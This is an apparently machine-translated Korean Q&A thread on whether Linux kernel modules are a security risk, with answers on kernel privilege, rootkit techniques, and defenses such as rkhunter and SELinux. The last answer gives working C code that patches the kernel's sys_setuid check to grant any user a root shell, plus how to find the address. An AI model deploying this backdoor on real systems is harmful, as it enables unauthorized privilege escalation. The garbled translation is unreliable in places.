2009-10-14 5 views
6

리눅스 커널 모듈의 보안 위험은 어느 정도입니까? 누군가가 액세스 권한을 갖고 루트킷 모듈을로드하는 것이 모두 가능하다면 가능하다는 것을 읽은 것을 기억합니다. 이 올바른지? 이것을 막을 수있는 방법이 있습니까?Linux 커널 모듈 - 보안 위험이 있습니까?

모듈 인터페이스를 통해 실제로 노출되는 커널 부분과 프로그래머가 액세스 할 수있는 기능은 악의적 인 목적으로 사용될 수 있습니까?

답변

5

더글러스가 말한 바가 완전히 정확하다. 리눅스는 monolithic이고 모듈은 모든 것을 할 수있다. 이것은 Linus Thorvalds가 주로 주도하는 디자인 선택이며 오픈 소스 철학에 적합합니다 (제한적인 이유는 성능을 필요로하며 모듈이 소스에서 무엇을하는지 볼 수 있습니다. 실제로는 실제 바보들만을위한 것입니다 :-)).

이제 제 3 자로부터 바이너리 모듈을로드해야 할 수도 있습니다. 그들이 컴파일 된 것처럼 보일지라도 일반적으로 블랙 박스와 같은 공통 객체 파일이 있으며 그 주위의 인터페이스 만 실제로 컴파일됩니다 (예 : 사용하는 NVIDIA 그래픽 드라이버). 확실한 대답은 없습니다. 모듈을로드하면 공급 업체를 신뢰해야합니다. 그렇지 않다면 ...하지 마십시오.

이론적으로 올바른 모듈 만로드 할 수 있습니다. 실제로는 시스템이 완벽하지 않습니다 (Linux조차도). 때때로 로컬 사용자 나 원격 사용자 (매우 드문 경우)가 커널에 코드를 삽입하여 권한을 부여하고 시스템을 제어 할 수있게하는 커널 취약점이 있습니다. 커널을 최신 상태로 만드는 것은 좋은 일입니다 ...

이 문제를 해결 한 후, 지금까지 대답하지 못한 질문 중 두 번째 부분 인 "프로그래머가 액세스 할 수있는 기능은 악의적 인 목적으로 사용될 수 있습니까?"로 이동해 봅시다. SE 리눅스에 대해 수행하는 일의 대부분은 같은 악의적 인 목적으로 사용할 수 있습니다 그들은 같은 도구에 표시되지 않도록 악의적 인 사용자 프로세스를 숨기기 예를 들어, /proc 또는 /sys 디렉토리에 정보를 숨기기

  • top, ps 등등. 여기에는 악의적 인 모듈 자체가 숨겨져 있으므로 lsmod에 나와 있지 않습니다.
  • 기록 및 키 스트로크 기록 ...
  • 외부 세계로 데이터를 전송합니다. 어떤 커널 모듈도 사이트에 연결하여 모듈의 코드가 나쁜 냄새를 맡는다면 원래의 리눅스 코드에서 네트워크 스택을 제외한 정보를 보내야합니다. 일부 문자열이 ...
  • 을 ... 암호화하고 더 나쁜 냄새가 어떤 작업을하게 해독하는 경우

목록은 당신이 세부 사항을 더 원하는 경우 루트킷 헌터의 모습을 가질 수 있습니다, 큰 (http://www.rootkit.nl/projects/rootkit_hunter.html). 그것은 내가 때때로 실행하는 도구입니다. 널리 사용되는 rootkits의 존재를 감지 할 수 있습니다. 루트 킷 목록을 관리하고 그 이름을 검색하면 이러한 짐승이 어떤 종류의 표적이되는지 분명히 할 수 있습니다 ... 더글라스처럼 실제로 사용할 수있는 기능은 제한없이 커널에서 사용할 수있는 모든 기능입니다. 따라서 모듈이 나쁜 사람인지 아닌지를 말하는 것은 분명한 사실이 아닙니다. 나는 그것이 보안 문제에 대한 당신의 생각의 일부를 정리 생각 Linux Kernel Modules HOWTO

:

6

커널 모듈은 완전한 커널 권한으로 실행됩니다. 커널이 수행 할 수있는 모든 작업을 수행 할 수 있습니다. 잘 작동하는 모듈은 커널에 의해 심볼로 내 보낸 함수로 동작을 제한하지만 실제로 모듈이 주소를 가진 임의의 함수를 호출하거나 기존 함수와 동일한 코드를 실행하지 못하게합니다.

root 만 커널 모듈을로드 할 수 있습니다.

루트는 어쨌든 시스템을 아무 것도 만들 수 없으므로 증분 위험은 무시할 수 있습니다. 모듈을로드하면 루트를 더 잘 숨기거나 시스템에 대한 정보를 적게 사용하여 공격 할 수 있지만 원칙적으로 루트가 커널 이미지를 덮어 쓸 수 있고 시스템을 해당 이미지로 재부팅 할 수 있으므로 모든 정보를 얻을 수 있습니다. 커널 모듈이 할 수 있습니다./dev/kmem은 일반적으로 쓰기가 가능하지 않기 때문에 사용자 공간 루트 프로세스가 커널 모듈과 비교하여 제한 될 수 있지만 재 작성 및 재부트하면이를 수정할 수 있습니다.

또한 커널 메모리를 변경하는 대안이있을 수 있습니다. 프로세스를 숨기려면로드 가능한 모듈을 사용하거나 ps을 트로이 목마 버전으로 바꾸십시오.

마찬가지로 파일을 숨기려면 커널 모듈을 사용하거나 ls을 바꿀 수도 있습니다. 당신은 커널 모듈은 위험 말하는이를 Wikipedia

확인 할 수 있습니다

+0

루트 권한이를. :) LKM은 물건 루트가 절대적으로 아무것도 모를 수 있습니다. –

1

는 창문에 운전자가 위험 말하는 것과 같다. 그들은 확실히 수 있습니다 수 있지만 일반적으로되지 않습니다. Mr.Leeder는 root가 거의 모든 것을 할 수 있다고 말했지만, 커널 API를 직접 호출 할 수 있을지는 의문입니다. 커널 모듈을로드해야합니다 (분명히 할 수 있습니다).

+0

반지가 X86 컴퓨터에서 일반적으로 사용되지 않는다고 생각합니까? 나는 그것을 들었다고 확신합니까? –

+1

오직 0 개의 고리와 2 개의 고리 만 생각합니다. –

+0

루트는 커널 이미지를 덮어 쓸 수 있고 시스템을 재부팅 할 수 있기 때문에 원할 경우 완전히 제어 할 수 있습니다 (확실한 재부팅이 필요함) –

0

그냥 문서의 조각을 추가 할.

0

많은 관심을 가지면 SELinux는 여러분의 친구입니다.

루트가 마치 루트처럼 작동 할 수 있다면 ... 루트 환경에서 문제가되는데, 루트가되어서는 안되는 수많은 대체 Linux 구성이 있습니다.

더 많은 보안이 필요한 경우, 평가 된 * IX O/Ses 중 하나를 시도해보십시오 (몇 가지 평가를 이끌어 냈지만 열린 O/S는 없었습니다). 또는 본질적으로보다 안전한 O/S와 함께 진행하십시오. "서버"가 링 0/수퍼바이저/커널 모드에서 실행되지 않는 메시지 전달 유형의 일부입니다.

0

이미 일반적인 수준의 답변이 좋습니다. 예제 코드 레벨에서이 문제를 보는 방법으로 모듈이 설치되어있는 경우 취약한 Linux의 상태를보다 명확하게 보여줍니다.

내 예 모듈 :

#include <linux/version.h> 
    #include <linux/module.h> 
    #include <linux/highmem.h> 
    #include <asm/unistd.h> 
    char *p; 
    int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map       
     { pte_t *pte1; 
      unsigned int dummy_but_needed; 
      p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx 
      pte1 = lookup_address((unsigned long long)p, &dummy_but_needed); 
      pte1->pte |= _PAGE_RW; //Now the code page is writable   
      *(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75". 
      return -1; // Insmod complains and module disappears from the system but module did it's work already    
     } 
    MODULE_LICENSE("GPL");//We don't need cleanup_module 

사용자 수준 터미널에서 슈퍼 유저 권한을 부여 테스트 프로그램 :

int main() 
     { 
     setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;"); 
     system("/bin/bash"); //rax=system call nr and rdi=first parameter 
     } 

이 위험한 루트킷인가를? 아니오. sys_setuid 주소를 찾으려면 이미 루트 권한이 있어야합니다! 실제로 모든 시스템에는이 주소가 다릅니다.

어쨌든 이것은 조작이 얼마나 쉬운지를 보여줍니다. 실제로 사용 된 상수를 동적 (런타임) 메소드로 대체하는 것은 매우 쉽습니다. 여기서는 설명하지 않았습니다. (이것은 루트킷이 될 것입니다.나는 그것을 시험해 보았고, 현재 루트 킷 헌팅 프로그램이 존재하더라도 그것을 발견 할 능력이 없었다. 모든 시스템 콜을했다.)

나는 이것을 커널 3.2와 AMD64에서 테스트했다. 다른 HW에서는 작동하지 않습니다!

(필요한 일정 찾는 방법 :

xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic 
    [sudo] password for xxxx: 
    ffffffff8107f3a0 T sys_setuid 
    ffffffff810a23f0 T sys_setuid16 

) 꽤 자주이 아니다 당신은 기계의 (물리적 및 합법적 인) 관리자를 가정하고

관련 문제